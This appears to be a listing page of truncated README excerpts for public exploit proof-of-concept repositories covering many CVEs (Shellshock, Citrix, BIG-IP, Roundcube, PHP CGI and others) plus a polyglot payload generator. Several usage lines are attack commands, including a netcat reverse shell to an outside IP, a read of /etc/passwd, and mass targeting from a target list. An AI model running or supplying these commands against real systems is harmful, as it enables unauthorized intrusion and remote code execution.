CVE-2014-6271

CVE-2014-6271 Usage go run CVE-2014-6271.go www.example.com 80 whoami...

CVE-2017-1000117

CVE-2017-1000117 Malicious actors can craft "ssh://…" links to trick victims into accessing the malicious link when executing programs, thereby achieving command execution. This link can be placed in the .gitmodules file of a git project, so that when a victim performs git clone...

CVE-2014-6271

EXPLOIT FOR CVE-2014-6271 USAGE : CVE-2014-6271.py full path to target uri command...

CVE-2024-56145-craftcms-rce

Before you run script again do fuser -k 6666/tcp Usage - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Custom command can be used like python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i is your IP or your vps IP use that by doing ipconfig / ifconfig. Like - python3 poc.py -f...

SNOWCRASH

SNOWCRASH A polyglot payload generator Introduction SNOWCRASH creates a script that can be launched on both Linux and Windows machines. Payload selected by the user in this case combined Bash and Powershell code is embedded into a single polyglot template, which is platform-agnostic. There are fe...

CVE-2025-49132-poc

CVE-2025-49132-poc I made this poc for CVE-2025-49132, as it was interesting to make and it's part of a challenge over at my cyber platform deepreview ! This CVE takes advantage of a file inclusion vulnerability that can be escalated to a Remote Code Execution with the pearcmd.php script. This is...

CVE-2022-1388

BIG-IP iControl REST vulnerability CVE-2022-1388 PoC This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services PoC You can...

CVE-2025-49113-PoC

CVE-2025-49113 Roundcube RCE PoC 🚀 How to launch the project 1. Starting the vulnerable server cd Stand docker-compose up -d 2. Running the script against the target cd PoC/src python3 scanner.py --target http://localhost:9000 --username test --password test --command "id" 📌 Key Requirements...

openam-CVE-2021-35464

openam CVE-2021-35464 tomcat command execution with echo. Project based on ysoserial and Java-Rce-Echo Building the project requires adding ysoserial.jar and jato-14.6.3.jar to dependencies. POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent:...

CVE-2019-12725

CVE-2019-12725 CVE-2019-12725 ZeroShell Remote Command Execution Vulnerability =================================================== My own practice project...

CVE-2025-64446-PoC---FortiWeb-Path-Traversal

CVE-2025-64446 PoC - FortiWeb Path Traversal Description Proof of Concept for the relative path traversal vulnerability in Fortinet FortiWeb CVE-2025-64446 that allows execution of administrative commands. Technical Details CVE: CVE-2025-64446 CVSS: 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:...

CVE-2019-19781

CVE-2019-19781 Just a python3 CVE-2019-19781 exploit for Citrix behind a cache. This version accepts '', '|', '2&1'... etc USAGE python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd' Todo Repeat if Age header in response. Continuous mode -c. Check mode Get /vpn/../vpns/cfg/smb.conf...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC for CVE-2023-30258-RCE by n0o0b Usage usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD Command to...

Exploit-CVE-2025-24801

CVE-2025-24801 This exploit uses CVE-2025-24801 to get Remote Code Execution RCE via Local File Inclusion LFI at GLPI 10.0.17. Proof of Concept PoC of this CVE with explaination to this vulnerability in GLPI. Observation Some applications expose the /glpi/ endpoint e.g.,...

CVE-2022-29072

CVE-2022-29072 7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the HelpContents area. Uncertainty There is quite a bit of uncertainty regarding this CVE in the public. The NIST vuln details has placed a status of...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: git clone cd Project use python follow below Create a virtual...

CVE-2023-4634-PoC

CVE-2023-4634 - RCE Vulnerability in WordPress Plugin Media Library Assistant 1. Build and launch environment cd Stand docker-compose up --build -d 2. Wait for services to start 60 seconds sleep 60 curl -I http://localhost:8080 3. Run vulnerability scan cd ../PoC/src python3 scanner.py...

CVE-2025-53770

CVE-2025-53770 Research Lab This repository appears to be a proof-of-concept research project for validating a SharePoint-style deserialization and tool-pane processing issue in a controlled lab. It includes a Python driver, a mock vulnerable application, and container assets for isolated testing...

CVE-2024-4577

CVE-2024-4577 usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments: -h, --help show...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST vulnerability CVE-2022-1388 This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services...